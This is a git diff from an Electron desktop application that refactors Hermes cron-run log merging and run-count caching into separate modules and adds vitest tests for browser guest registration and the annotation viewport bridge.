-async function appendReferencedLogFile(content: string): Promise<string> {
-  if (content.includes(REFERENCED_LOG_HEADING)) {
-    return content
-  }
-  const logFile = await readReferencedLogFile(content)
-  if (!logFile) {
-    return content
-  }
-  const note = logFile.truncated
-    ? `Showing the last ${MAX_REFERENCED_LOG_BYTES} bytes because the log file is larger.`
-    : null
-  return [
-    content,
-    '---',
-    REFERENCED_LOG_HEADING,
-    '',
-    `Path: ${logFile.path}`,
-    note,
-    '```text',
-    logFile.content.trimEnd(),
-    '```'
-  ]
-    .filter((part) => part !== null)
-    .join('\n\n')
-}
-
-function formatSessionMessages(messages: Record<string, unknown>[]): string | null {
-  if (messages.length === 0) {
-    return null
-  }
-  return messages
-    .map((message) => {
-      const role = typeof message.role === 'string' ? message.role : 'message'
-      const content = typeof message.content === 'string' ? message.content.trim() : ''
-      const toolName = typeof message.tool_name === 'string' ? message.tool_name.trim() : ''
-      const reasoning =
-        typeof message.reasoning_content === 'string'
-          ? message.reasoning_content.trim()
-          : typeof message.reasoning === 'string'
-            ? message.reasoning.trim()
-            : ''
-      const parts = [
-        `## ${role}${toolName ? ` / ${toolName}` : ''}`,
-        reasoning ? `### Reasoning\n\n${reasoning}` : null,
-        content || '(empty)'
-      ].filter(Boolean)
-      return parts.join('\n\n')
-    })
-    .join('\n\n---\n\n')
-}
-
-function getRunKey(run: unknown): string | null {
-  return isRecord(run) ? asString(run.run_key) : null
-}
-
-function getRunOutputContent(run: unknown): string | null {
-  return isRecord(run) ? asString(run.output_content) : null
-}
-
-function mergeOutputAndSessionContent(
-  outputContent: string | null,
-  sessionContent: string | null
-): string | null {
-  if (!sessionContent) {
-    return outputContent
-  }
-  if (!outputContent) {
-    return `${FULL_SESSION_LOG_HEADING}\n\n${sessionContent}`
-  }
-  if (outputContent.includes(FULL_SESSION_LOG_HEADING)) {
-    return outputContent
-  }
-  return `${outputContent}\n\n---\n\n${FULL_SESSION_LOG_HEADING}\n\n${sessionContent}`
-}
-
-function findMatchingSessionRunIndex(
-  outputRun: unknown,
-  sessionRuns: unknown[],
-  usedSessionRunIndexes: Set<number>
-): number | null {
-  const outputRunKey = getRunKey(outputRun)
-  const exactMatchIndex = sessionRuns.findIndex(
-    (sessionRun, index) =>
-      !usedSessionRunIndexes.has(index) && getRunKey(sessionRun) === outputRunKey
-  )
-  if (exactMatchIndex !== -1) {
-    return exactMatchIndex
-  }
-
-  const outputTime = sortableTimeFromRunKey(outputRunKey)
-  if (!Number.isFinite(outputTime)) {
-    return null
-  }
-
-  let bestIndex: number | null = null
-  let bestGap = Number.POSITIVE_INFINITY
-  for (let index = 0; index < sessionRuns.length; index += 1) {
-    if (usedSessionRunIndexes.has(index)) {
-      continue
-    }
-    const sessionTime = sortableTimeFromRunKey(getRunKey(sessionRuns[index]))
-    if (!Number.isFinite(sessionTime)) {
-      continue
-    }
-    const gap = outputTime - sessionTime
-    if (gap < 0 || gap > MAX_SESSION_OUTPUT_GAP_MS || gap >= bestGap) {
-      continue
-    }
-    bestIndex = index
-    bestGap = gap
-  }
-  return bestIndex
-}
-
-function mergeHermesOutputAndSessionRuns(outputRuns: unknown[], sessionRuns: unknown[]): unknown[] {
-  const usedSessionRunIndexes = new Set<number>()
-  const mergedOutputRuns = outputRuns.map((outputRun) => {
-    if (!isRecord(outputRun)) {
-      return outputRun
-    }
-    const sessionRunIndex = findMatchingSessionRunIndex(
-      outputRun,
-      sessionRuns,
-      usedSessionRunIndexes
-    )
-    if (sessionRunIndex === null) {
-      return outputRun
-    }
-    const sessionRun = sessionRuns[sessionRunIndex]
-    if (!isRecord(sessionRun)) {
-      return outputRun
-    }
-    usedSessionRunIndexes.add(sessionRunIndex)
-    // Hermes writes the markdown output at completion, while state.db keeps
-    // the actual turn-by-turn transcript under the cron session start time.
-    return {
-      ...outputRun,
-      output_preview: asString(outputRun.output_preview) ?? asString(sessionRun.output_preview),
-      output_content: mergeOutputAndSessionContent(
-        getRunOutputContent(outputRun),
-        getRunOutputContent(sessionRun)
-      )
-    }
-  })
-  return [
-    ...mergedOutputRuns,
-    ...sessionRuns.filter((_, index) => !usedSessionRunIndexes.has(index))
-  ]
-}
-
-function mergeHermesOutputAndSessionRunRefs(
-  outputRefs: HermesOutputRunRef[],
-  sessionRefs: HermesSessionRunRef[]
-): HermesMergedRunRef[] {
-  const usedSessionRunIndexes = new Set<number>()
-  const mergedOutputRefs = outputRefs.map((outputRef) => {
-    const sessionRunIndex = findMatchingSessionRunIndex(
-      outputRef,
-      sessionRefs,
-      usedSessionRunIndexes
-    )
-    const sessionRef = sessionRunIndex === null ? null : sessionRefs[sessionRunIndex]
-    if (sessionRunIndex !== null) {
-      usedSessionRunIndexes.add(sessionRunIndex)
-    }
-    return {
-      id: outputRef.id,
-      job_id: outputRef.job_id,
-      run_at: outputRef.run_at,
-      run_key: outputRef.run_key,
-      output: outputRef,
-      session: sessionRef
-    }
-  })
-  return [
-    ...mergedOutputRefs,
-    ...sessionRefs
-      .filter((_, index) => !usedSessionRunIndexes.has(index))
-      .map((sessionRef) => ({
-        id: sessionRef.id,
-        job_id: sessionRef.job_id,
-        run_at: sessionRef.run_at,
-        run_key: sessionRef.run_key,
-        output: null,
-        session: sessionRef
-      }))
-  ]
-}
-
 export async function readHermesCronOutputRuns(jobId: string): Promise<unknown[]> {
   return (await readHermesCronOutputRunsPage(jobId, { page: 1, pageSize: Number.MAX_SAFE_INTEGER }))
     .runs
@@ -597,64 +81,15 @@ async function readHermesCronOutputRunRefs(jobId: string): Promise<HermesMergedR
 // pageSize:0 once per local Hermes job to populate badge counts. Without a
 // cache this performs N readdir + N sqlite open/query on every list call,
 // which scales linearly with job and run-history size on the main process.
-const HERMES_RUN_COUNT_CACHE_TTL_MS = 2000
-const HERMES_RUN_COUNT_CACHE_MAX_ENTRIES = 200
-type HermesRunCountCacheEntry = {
-  promise: Promise<number>
-  expiresAt: number
-}
-const hermesRunCountCache = new Map<string, HermesRunCountCacheEntry>()
-
 export function clearHermesCronOutputRunCountCache(jobId?: string): void {
-  if (jobId) {
-    hermesRunCountCache.delete(jobId)
-    return
-  }
-  hermesRunCountCache.clear()
-}
-
-function pruneHermesRunCountCache(now: number): void {
-  for (const [jobId, entry] of hermesRunCountCache) {
-    if (entry.expiresAt <= now) {
-      hermesRunCountCache.delete(jobId)
-    }
-  }
-  while (hermesRunCountCache.size >= HERMES_RUN_COUNT_CACHE_MAX_ENTRIES) {
-    const oldestJobId = hermesRunCountCache.keys().next().value
-    if (oldestJobId === undefined) {
-      return
-    }
-    hermesRunCountCache.delete(oldestJobId)
-  }
+  clearHermesRunCountCache(jobId)
 }
 
 async function readHermesCronOutputRunCount(jobId: string): Promise<number> {
-  const now = Date.now()
-  const cached = hermesRunCountCache.get(jobId)
-  if (cached && cached.expiresAt > now) {
-    return cached.promise
-  }
-  if (cached) {
-    hermesRunCountCache.delete(jobId)
-  }
-  // Why: external Hermes jobs can be created/removed outside Orca; without a
-  // size bound and expired sweep, a long session can pin stale job ids forever.
-  pruneHermesRunCountCache(now)
-  const entry: HermesRunCountCacheEntry = {
-    promise: readHermesCronOutputRunRefs(jobId).then((refs) => refs.length),
-    expiresAt: Number.POSITIVE_INFINITY
-  }
-  hermesRunCountCache.set(jobId, entry)
-  try {
-    const count = await entry.promise
-    entry.expiresAt = Date.now() + HERMES_RUN_COUNT_CACHE_TTL_MS
-    return count
-  } catch (error) {
-    if (hermesRunCountCache.get(jobId) === entry) {
-      hermesRunCountCache.delete(jobId)
-    }
-    throw error
-  }
+  return readCachedHermesRunCount(jobId, async (targetJobId) => {
+    const refs = await readHermesCronOutputRunRefs(targetJobId)
+    return refs.length
+  })
 }
 
 async function hydrateHermesRunRef(jobId: string, ref: HermesMergedRunRef): Promise<unknown> {
diff --git a/src/main/automations/hermes-cron-run-content.ts b/src/main/automations/hermes-cron-run-content.ts
new file mode 100644
index 00000000000..55b01fb2545
--- /dev/null
+++ b/src/main/automations/hermes-cron-run-content.ts
@@ -0,0 +1,270 @@
+import { open, readFile, realpath, stat } from 'node:fs/promises'
+import { homedir } from 'node:os'
+import { isAbsolute, join, relative, resolve, sep } from 'node:path'
+import {
+  FULL_SESSION_LOG_HEADING,
+  LATEST_LOG_PATH_PATTERN,
+  MAX_REFERENCED_LOG_BYTES,
+  MAX_SESSION_OUTPUT_GAP_MS,
+  REFERENCED_LOG_HEADING,
+  asString,
+  isRecord,
+  sortableTimeFromRunKey
+} from './hermes-cron-output-markdown'
+import type {
+  HermesMergedRunRef,
+  HermesOutputRunRef,
+  HermesSessionRunRef
+} from './hermes-cron-output'
+
+const HERMES_HOME = process.env.HERMES_HOME?.trim() || join(homedir(), '.hermes')
+
+function extractLatestLogPath(content: string): string | null {
+  const rawPath = LATEST_LOG_PATH_PATTERN.exec(content)?.groups?.path?.trim()
+  if (!rawPath) {
+    return null
+  }
+  return rawPath.replace(/^`|`$/g, '').trim()
+}
+
+async function readReferencedLogFile(content: string): Promise<{
+  path: string
+  content: string
+  truncated: boolean
+} | null> {
+  const logPath = extractLatestLogPath(content)
+  if (!logPath || !isAbsolute(logPath)) {
+    return null
+  }
+  try {
+    const homeRealPath = await realpath(HERMES_HOME)
+    const logRealPath = await realpath(logPath)
+    const relativeToHermesHome = relative(resolve(homeRealPath), resolve(logRealPath))
+    // Why: the output body can contain agent-authored text, so only hydrate
+    // referenced files that resolve inside Hermes' own data directory.
+    if (
+      relativeToHermesHome === '..' ||
+      relativeToHermesHome.startsWith(`..${sep}`) ||
+      isAbsolute(relativeToHermesHome)
+    ) {
+      return null
+    }
+    const logStat = await stat(logPath)
+    if (!logStat.isFile()) {
+      return null
+    }
+    if (logStat.size <= MAX_REFERENCED_LOG_BYTES) {
+      return {
+        path: logPath,
+        content: await readFile(logPath, 'utf-8'),
+        truncated: false
+      }
+    }
+    const file = await open(logPath, 'r')
+    try {
+      const buffer = Buffer.alloc(MAX_REFERENCED_LOG_BYTES)
+      await file.read(buffer, 0, MAX_REFERENCED_LOG_BYTES, logStat.size - MAX_REFERENCED_LOG_BYTES)
+      return {
+        path: logPath,
+        content: buffer.toString('utf-8'),
+        truncated: true
+      }
+    } finally {
+      await file.close()
+    }
+  } catch {
+    return null
+  }
+}
+
+export async function appendReferencedLogFile(content: string): Promise<string> {
+  if (content.includes(REFERENCED_LOG_HEADING)) {
+    return content
+  }
+  const logFile = await readReferencedLogFile(content)
+  if (!logFile) {
+    return content
+  }
+  const note = logFile.truncated
+    ? `Showing the last ${MAX_REFERENCED_LOG_BYTES} bytes because the log file is larger.`
+    : null
+  return [
+    content,
+    '---',
+    REFERENCED_LOG_HEADING,
+    '',
+    `Path: ${logFile.path}`,
+    note,
+    '```text',
+    logFile.content.trimEnd(),
+    '```'
+  ]
+    .filter((part) => part !== null)
+    .join('\n\n')
+}
+
+export function formatSessionMessages(messages: Record<string, unknown>[]): string | null {
+  if (messages.length === 0) {
+    return null
+  }
+  return messages
+    .map((message) => {
+      const role = typeof message.role === 'string' ? message.role : 'message'
+      const content = typeof message.content === 'string' ? message.content.trim() : ''
+      const toolName = typeof message.tool_name === 'string' ? message.tool_name.trim() : ''
+      const reasoning =
+        typeof message.reasoning_content === 'string'
+          ? message.reasoning_content.trim()
+          : typeof message.reasoning === 'string'
+            ? message.reasoning.trim()
+            : ''
+      const parts = [
+        `## ${role}${toolName ? ` / ${toolName}` : ''}`,
+        reasoning ? `### Reasoning\n\n${reasoning}` : null,
+        content || '(empty)'
+      ].filter(Boolean)
+      return parts.join('\n\n')
+    })
+    .join('\n\n---\n\n')
+}
+
+function getRunKey(run: unknown): string | null {
+  return isRecord(run) ? asString(run.run_key) : null
+}
+
+function getRunOutputContent(run: unknown): string | null {
+  return isRecord(run) ? asString(run.output_content) : null
+}
+
+function mergeOutputAndSessionContent(
+  outputContent: string | null,
+  sessionContent: string | null
+): string | null {
+  if (!sessionContent) {
+    return outputContent
+  }
+  if (!outputContent) {
+    return `${FULL_SESSION_LOG_HEADING}\n\n${sessionContent}`
+  }
+  if (outputContent.includes(FULL_SESSION_LOG_HEADING)) {
+    return outputContent
+  }
+  return `${outputContent}\n\n---\n\n${FULL_SESSION_LOG_HEADING}\n\n${sessionContent}`
+}
+
+function findMatchingSessionRunIndex(
+  outputRun: unknown,
+  sessionRuns: unknown[],
+  usedSessionRunIndexes: Set<number>
+): number | null {
+  const outputRunKey = getRunKey(outputRun)
+  const exactMatchIndex = sessionRuns.findIndex(
+    (sessionRun, index) =>
+      !usedSessionRunIndexes.has(index) && getRunKey(sessionRun) === outputRunKey
+  )
+  if (exactMatchIndex !== -1) {
+    return exactMatchIndex
+  }
+
+  const outputTime = sortableTimeFromRunKey(outputRunKey)
+  if (!Number.isFinite(outputTime)) {
+    return null
+  }
+
+  let bestIndex: number | null = null
+  let bestGap = Number.POSITIVE_INFINITY
+  for (let index = 0; index < sessionRuns.length; index += 1) {
+    if (usedSessionRunIndexes.has(index)) {
+      continue
+    }
+    const sessionTime = sortableTimeFromRunKey(getRunKey(sessionRuns[index]))
+    if (!Number.isFinite(sessionTime)) {
+      continue
+    }
+    const gap = outputTime - sessionTime
+    if (gap < 0 || gap > MAX_SESSION_OUTPUT_GAP_MS || gap >= bestGap) {
+      continue
+    }
+    bestIndex = index
+    bestGap = gap
+  }
+  return bestIndex
+}
+
+export function mergeHermesOutputAndSessionRuns(
+  outputRuns: unknown[],
+  sessionRuns: unknown[]
+): unknown[] {
+  const usedSessionRunIndexes = new Set<number>()
+  const mergedOutputRuns = outputRuns.map((outputRun) => {
+    if (!isRecord(outputRun)) {
+      return outputRun
+    }
+    const sessionRunIndex = findMatchingSessionRunIndex(
+      outputRun,
+      sessionRuns,
+      usedSessionRunIndexes
+    )
+    if (sessionRunIndex === null) {
+      return outputRun
+    }
+    const sessionRun = sessionRuns[sessionRunIndex]
+    if (!isRecord(sessionRun)) {
+      return outputRun
+    }
+    usedSessionRunIndexes.add(sessionRunIndex)
+    // Hermes writes the markdown output at completion, while state.db keeps
+    // the actual turn-by-turn transcript under the cron session start time.
+    return {
+      ...outputRun,
+      output_preview: asString(outputRun.output_preview) ?? asString(sessionRun.output_preview),
+      output_content: mergeOutputAndSessionContent(
+        getRunOutputContent(outputRun),
+        getRunOutputContent(sessionRun)
+      )
+    }
+  })
+  return [
+    ...mergedOutputRuns,
+    ...sessionRuns.filter((_, index) => !usedSessionRunIndexes.has(index))
+  ]
+}
+
+export function mergeHermesOutputAndSessionRunRefs(
+  outputRefs: HermesOutputRunRef[],
+  sessionRefs: HermesSessionRunRef[]
+): HermesMergedRunRef[] {
+  const usedSessionRunIndexes = new Set<number>()
+  const mergedOutputRefs = outputRefs.map((outputRef) => {
+    const sessionRunIndex = findMatchingSessionRunIndex(
+      outputRef,
+      sessionRefs,
+      usedSessionRunIndexes
+    )
+    const sessionRef = sessionRunIndex === null ? null : sessionRefs[sessionRunIndex]
+    if (sessionRunIndex !== null) {
+      usedSessionRunIndexes.add(sessionRunIndex)
+    }
+    return {
+      id: outputRef.id,
+      job_id: outputRef.job_id,
+      run_at: outputRef.run_at,
+      run_key: outputRef.run_key,
+      output: outputRef,
+      session: sessionRef
+    }
+  })
+  return [
+    ...mergedOutputRefs,
+    ...sessionRefs
+      .filter((_, index) => !usedSessionRunIndexes.has(index))
+      .map((sessionRef) => ({
+        id: sessionRef.id,
+        job_id: sessionRef.job_id,
+        run_at: sessionRef.run_at,
+        run_key: sessionRef.run_key,
+        output: null,
+        session: sessionRef
+      }))
+  ]
+}
diff --git a/src/main/automations/hermes-cron-run-count-cache.ts b/src/main/automations/hermes-cron-run-count-cache.ts
new file mode 100644
index 00000000000..06c45d54d44
--- /dev/null
+++ b/src/main/automations/hermes-cron-run-count-cache.ts
@@ -0,0 +1,64 @@
+const HERMES_RUN_COUNT_CACHE_TTL_MS = 2000
+const HERMES_RUN_COUNT_CACHE_MAX_ENTRIES = 200
+
+type HermesRunCountCacheEntry = {
+  promise: Promise<number>
+  expiresAt: number
+}
+
+const hermesRunCountCache = new Map<string, HermesRunCountCacheEntry>()
+
+export function clearHermesCronOutputRunCountCache(jobId?: string): void {
+  if (jobId) {
+    hermesRunCountCache.delete(jobId)
+    return
+  }
+  hermesRunCountCache.clear()
+}
+
+function pruneHermesRunCountCache(now: number): void {
+  for (const [jobId, entry] of hermesRunCountCache) {
+    if (entry.expiresAt <= now) {
+      hermesRunCountCache.delete(jobId)
+    }
+  }
+  while (hermesRunCountCache.size >= HERMES_RUN_COUNT_CACHE_MAX_ENTRIES) {
+    const oldestJobId = hermesRunCountCache.keys().next().value
+    if (oldestJobId === undefined) {
+      return
+    }
+    hermesRunCountCache.delete(oldestJobId)
+  }
+}
+
+export async function readCachedHermesRunCount(
+  jobId: string,
+  loadRunCount: (jobId: string) => Promise<number>
+): Promise<number> {
+  const now = Date.now()
+  const cached = hermesRunCountCache.get(jobId)
+  if (cached && cached.expiresAt > now) {
+    return cached.promise
+  }
+  if (cached) {
+    hermesRunCountCache.delete(jobId)
+  }
+  // Why: external Hermes jobs can be created/removed outside Orca; without a
+  // size bound and expired sweep, a long session can pin stale job ids forever.
+  pruneHermesRunCountCache(now)
+  const entry: HermesRunCountCacheEntry = {
+    promise: loadRunCount(jobId),
+    expiresAt: Number.POSITIVE_INFINITY
+  }
+  hermesRunCountCache.set(jobId, entry)
+  try {
+    const count = await entry.promise
+    entry.expiresAt = Date.now() + HERMES_RUN_COUNT_CACHE_TTL_MS
+    return count
+  } catch (error) {
+    if (hermesRunCountCache.get(jobId) === entry) {
+      hermesRunCountCache.delete(jobId)
+    }
+    throw error
+  }
+}
diff --git a/src/main/browser/browser-manager-annotation-bridge.test.ts b/src/main/browser/browser-manager-annotation-bridge.test.ts
new file mode 100644
index 00000000000..2d9aa5e50fe
--- /dev/null
+++ b/src/main/browser/browser-manager-annotation-bridge.test.ts
@@ -0,0 +1,210 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const browserMocks = vi.hoisted(() => ({
+  appGetPathMock: vi.fn(() => '/downloads'),
+  shellOpenExternalMock: vi.fn(),
+  browserWindowFromWebContentsMock: vi.fn(),
+  menuBuildFromTemplateMock: vi.fn(),
+  guestOffMock: vi.fn(),
+  guestOnMock: vi.fn(),
+  guestSetBackgroundThrottlingMock: vi.fn(),
+  guestSetWindowOpenHandlerMock: vi.fn(),
+  guestOpenDevToolsMock: vi.fn(),
+  webContentsFromIdMock: vi.fn(),
+  screenGetCursorScreenPointMock: vi.fn(() => ({ x: 0, y: 0 })),
+  openPopupWithOriginBarMock: vi.fn()
+}))
+
+vi.mock('electron', () => ({
+  app: { getPath: browserMocks.appGetPathMock },
+  BrowserWindow: { fromWebContents: browserMocks.browserWindowFromWebContentsMock },
+  clipboard: { writeText: vi.fn() },
+  shell: { openExternal: browserMocks.shellOpenExternalMock },
+  Menu: { buildFromTemplate: browserMocks.menuBuildFromTemplateMock },
+  screen: { getCursorScreenPoint: browserMocks.screenGetCursorScreenPointMock },
+  webContents: { fromId: browserMocks.webContentsFromIdMock }
+}))
+
+vi.mock('./popup-origin-bar-window', () => ({
+  openPopupWithOriginBar: browserMocks.openPopupWithOriginBarMock
+}))
+
+import { browserManager } from './browser-manager'
+import type { BrowserAnnotationViewportBridgeOptions } from '../../shared/browser-annotation-viewport-bridge'
+import {
+  rendererWebContentsId,
+  resetBrowserManagerMocks,
+  resetBrowserManagerState
+} from './browser-manager-test-harness'
+import {
+  createViewportGuestFactory,
+  flushViewportOps
+} from './browser-manager-viewport-test-fixtures'
+
+const { webContentsFromIdMock } = browserMocks
+const makeGuest = createViewportGuestFactory(browserMocks)
+
+const BRIDGE_OPTIONS: BrowserAnnotationViewportBridgeOptions = {
+  emitViewport: false,
+  enabled: true,
+  markers: [],
+  token: 'annotationviewporttoken'
+}
+
+function registerPage(pageId: string, guest: Record<string, unknown>): void {
+  webContentsFromIdMock.mockReturnValue(guest)
+  browserManager.attachGuestPolicies(guest as never)
+  browserManager.registerGuest({
+    browserPageId: pageId,
+    webContentsId: guest.id as number,
+    rendererWebContentsId
+  })
+}
+
+/** The production resolver's shape: read the registry now, not when the request was made. */
+function resolveFromRegistry(pageId: string): () => Electron.WebContents | null {
+  return () => browserManager.getAuthorizedGuest(pageId, rendererWebContentsId)
+}
+
+describe('browserManager.setAnnotationViewportBridge', () => {
+  beforeEach(() => {
+    resetBrowserManagerMocks(browserMocks)
+    resetBrowserManagerState()
+  })
+
+  afterEach(() => {
+    vi.restoreAllMocks()
+  })
+
+  it('installs the bridge in an isolated world', async () => {
+    const { guest } = makeGuest(4646)
+    registerPage('tab-annotations', guest)
+
+    const ok = await browserManager.setAnnotationViewportBridge(
+      'tab-annotations',
+      BRIDGE_OPTIONS,
+      resolveFromRegistry('tab-annotations')
+    )
+
+    expect(ok).toBe(true)
+    expect(guest.executeJavaScriptInIsolatedWorld).toHaveBeenCalledWith(
+      expect.any(Number),
+      [
+        expect.objectContaining({
+          code: expect.stringContaining('__orcaBrowserAnnotationViewportBridge')
+        })
+      ],
+      false
+    )
+  })
+
+  // Why this is the case that matters: a cross-process navigation re-registers the same page id
+  // with a new WebContents and leaves the retired one alive, so a bridge op that resolved its
+  // guest when the request arrived would inject into a page nobody is looking at — and the
+  // annotation badges would stop tracking the document on screen.
+  it('injects into the guest the page has when a queued op finally runs, not the one it was asked with', async () => {
+    const { guest: firstGuest } = makeGuest(5101)
+    let releaseFirstInjection = (): void => {}
+    // One shared gate for every call, so a wrongly-routed second injection still settles and the
+    // test fails on where it landed rather than on a timeout.
+    const firstInjectionGate = new Promise<void>((resolve) => {
+      releaseFirstInjection = () => resolve()
+    })
+    firstGuest.executeJavaScriptInIsolatedWorld = vi.fn(() => firstInjectionGate)
+    registerPage('tab-swap', firstGuest)
+
+    const firstDone = browserManager.setAnnotationViewportBridge(
+      'tab-swap',
+      BRIDGE_OPTIONS,
+      resolveFromRegistry('tab-swap')
+    )
+    await flushViewportOps()
+
+    // A second request arrives while the first still holds the chain — at this moment the page is
+    // still on the first guest, which is the guest a request-time resolution would capture.
+    const secondDone = browserManager.setAnnotationViewportBridge(
+      'tab-swap',
+      BRIDGE_OPTIONS,
+      resolveFromRegistry('tab-swap')
+    )
+    await flushViewportOps()
+
+    // Only now does the page swap renderer processes, while the second op is still queued.
+    const { guest: secondGuest } = makeGuest(5102)
+    registerPage('tab-swap', secondGuest)
+
+    releaseFirstInjection()
+    await expect(firstDone).resolves.toBe(true)
+    await expect(secondDone).resolves.toBe(true)
+
+    expect(secondGuest.executeJavaScriptInIsolatedWorld).toHaveBeenCalledTimes(1)
+    expect(firstGuest.executeJavaScriptInIsolatedWorld).toHaveBeenCalledTimes(1)
+  })
+
+  // Why this is the resolver's cleanup and not the bridge's: the authority that reads the registry
+  // is the one that can see the guest is gone. The bridge only reports the refusal.
+  it('refuses when its guest died while the op was queued, and the resolver drops the registration', async () => {
+    const { guest } = makeGuest(5103)
+    registerPage('tab-dies', guest)
+    expect(browserManager.getGuestWebContentsId('tab-dies')).toBe(5103)
+
+    webContentsFromIdMock.mockReturnValue(null)
+    await expect(
+      browserManager.setAnnotationViewportBridge(
+        'tab-dies',
+        BRIDGE_OPTIONS,
+        resolveFromRegistry('tab-dies')
+      )
+    ).resolves.toBe(false)
+
+    // Why assert the registry and not just the answer: a stale guest has to clear every per-tab
+    // entry, or the page keeps a dead WebContents id that later ops resolve against.
+    expect(browserManager.getGuestWebContentsId('tab-dies')).toBeNull()
+  })
+
+  // Why this one exists: an unresolved guest is not the same as a dead one. A request addressed by
+  // the wrong renderer names a page that is alive and on screen, and answering it with teardown
+  // would cancel that page's in-flight downloads and grabs over a misaddressed message.
+  it('refuses a request from the wrong renderer without tearing down the healthy page it named', async () => {
+    const { guest } = makeGuest(5105)
+    registerPage('tab-mismatch', guest)
+    const unregisterGuest = vi.spyOn(browserManager, 'unregisterGuest')
+
+    await expect(
+      browserManager.setAnnotationViewportBridge('tab-mismatch', BRIDGE_OPTIONS, () =>
+        browserManager.getAuthorizedGuest('tab-mismatch', rendererWebContentsId + 1)
+      )
+    ).resolves.toBe(false)
+
+    expect(unregisterGuest).not.toHaveBeenCalled()
+    expect(browserManager.getGuestWebContentsId('tab-mismatch')).toBe(5105)
+    expect(guest.executeJavaScriptInIsolatedWorld).not.toHaveBeenCalled()
+  })
+
+  it('refuses a destroyed guest without injecting into it', async () => {
+    const { guest } = makeGuest(5104)
+    registerPage('tab-destroyed', guest)
+    ;(guest.isDestroyed as ReturnType<typeof vi.fn>).mockReturnValue(true)
+
+    await expect(
+      browserManager.setAnnotationViewportBridge(
+        'tab-destroyed',
+        BRIDGE_OPTIONS,
+        () => guest as never
+      )
+    ).resolves.toBe(false)
+    expect(guest.executeJavaScriptInIsolatedWorld).not.toHaveBeenCalled()
+  })
+
+  // Why: a document page owns no browsing state, so treating its refusal as a stale page would run
+  // teardown against an id the browsing registry never held.
+  it('does not run page teardown when a document page resolves to nothing', async () => {
+    const unregisterGuest = vi.spyOn(browserManager, 'unregisterGuest')
+
+    await expect(
+      browserManager.setAnnotationViewportBridge('doc-page-1', BRIDGE_OPTIONS, () => null)
+    ).resolves.toBe(false)
+
+    expect(unregisterGuest).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/browser/browser-manager-guest-lifecycle.test.ts b/src/main/browser/browser-manager-guest-lifecycle.test.ts
index d1a6a16c085..6d71db94585 100644
--- a/src/main/browser/browser-manager-guest-lifecycle.test.ts
+++ b/src/main/browser/browser-manager-guest-lifecycle.test.ts
@@ -45,6 +45,32 @@ import {
   resetBrowserManagerMocks,
   resetBrowserManagerState
 } from './browser-manager-test-harness'
+import { installDocPreviewGuestPolicy } from './doc-preview-guest-policy'
+import { mintDocPreviewGrant, revokeAllDocPreviewGrants } from './doc-preview-grant-registry'
+import { buildDocPreviewUrl } from '../../shared/doc-preview-scheme'
+
+/**
+ * A page the document half of the registry really holds. Built rather than named: membership is
+ * what both doors refuse on now, so an id that merely looks like a preview's would be admitted.
+ */
+function registerWorkspaceDocPage(browserPageId: string): void {
+  const grant = mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId
+  })
+  const guest = {
+    isFocused: () => false,
+    isDestroyed: () => false,
+    getURL: () => buildDocPreviewUrl(grant.id, grant.entryRelativePath),
+    on: vi.fn(),
+    once: vi.fn(),
+    setWindowOpenHandler: vi.fn(),
+    setWebRTCIPHandlingPolicy: vi.fn()
+  }
+  installDocPreviewGuestPolicy(guest as never, { id: rendererWebContentsId, send: vi.fn() })
+}
 
 const {
   guestOffMock,
@@ -60,6 +86,7 @@ describe('browserManager', () => {
   beforeEach(() => {
     resetBrowserManagerMocks(browserMocks)
     resetBrowserManagerState()
+    revokeAllDocPreviewGrants()
   })
 
   afterEach(() => {
@@ -92,6 +119,77 @@ describe('browserManager', () => {
     expect(browserManager.getSessionProfileIdForTab('browser-1')).toBe('work')
   })
 
+  // Why both doors: one id in both halves of the registry would make the tool door answer with a
+  // document guest for a page the reader is browsing in.
+  it.each(['registerGuest', 'registerOffscreenGuest'] as const)(
+    'refuses %s for a page the document registry already holds',
+    (entryPoint) => {
+      const guest = {
+        id: 129,
+        isDestroyed: vi.fn(() => false),
+        getType: vi.fn(() => 'webview'),
+        setBackgroundThrottling: guestSetBackgroundThrottlingMock,
+        setWindowOpenHandler: guestSetWindowOpenHandlerMock,
+        on: guestOnMock,
+        off: guestOffMock,
+        openDevTools: guestOpenDevToolsMock
+      }
+      webContentsFromIdMock.mockReturnValue(guest)
+      browserManager.attachGuestPolicies(guest as never)
+      const browserPageId = 'doc-page-1'
+      registerWorkspaceDocPage(browserPageId)
+
+      if (entryPoint === 'registerGuest') {
+        expect(
+          browserManager.registerGuest({
+            browserPageId,
+            webContentsId: guest.id,
+            rendererWebContentsId
+          })
+        ).toBe(false)
+      } else {
+        expect(
+          browserManager.registerOffscreenGuest({ browserPageId, webContentsId: guest.id })
+        ).toBe(false)
+      }
+
+      expect(browserManager.getGuestWebContentsId(browserPageId)).toBeNull()
+    }
+  )
+
+  // Why this answer is load-bearing: the headless backend destroys its window on false, so a true
+  // for a guest that is already gone would leave a page id registered onto nothing.
+  it.each(['missing', 'destroyed'] as const)(
+    'refuses registerOffscreenGuest when the named guest is %s',
+    (guestState) => {
+      webContentsFromIdMock.mockReturnValue(
+        guestState === 'missing' ? null : { id: 137, isDestroyed: vi.fn(() => true) }
+      )
+
+      expect(
+        browserManager.registerOffscreenGuest({ browserPageId: 'offscreen-1', webContentsId: 137 })
+      ).toBe(false)
+
+      expect(browserManager.getGuestWebContentsId('offscreen-1')).toBeNull()
+    }
+  )
+
+  // Why the exit door needs the same check: a document page withdraws by revoking its grant, so its
+  // id here is misaddressed — and unregistering opens by evicting whatever grab that id names.
+  it('refuses unregisterGuest for a page the document registry holds', () => {
+    registerWorkspaceDocPage('doc-page-2')
+    const cancelGrabOp = vi.spyOn(browserManager, 'cancelGrabOp')
+
+    browserManager.unregisterGuest('doc-page-2')
+
+    expect(cancelGrabOp).not.toHaveBeenCalled()
+
+    // The presence half: the same door does evict a browsing page's grab.
+    browserManager.unregisterGuest('browser-page-1')
+    expect(cancelGrabOp).toHaveBeenCalledWith('browser-page-1', 'evicted')
+    cancelGrabOp.mockRestore()
+  })
+
   it('blocks non-web guest navigations after attach', () => {
     const guest = {
       isDestroyed: vi.fn(() => false),
diff --git a/src/main/browser/browser-manager-guest-policy-profile.test.ts b/src/main/browser/browser-manager-guest-policy-profile.test.ts
new file mode 100644
index 00000000000..47871f64ea9
--- /dev/null
+++ b/src/main/browser/browser-manager-guest-policy-profile.test.ts
@@ -0,0 +1,250 @@
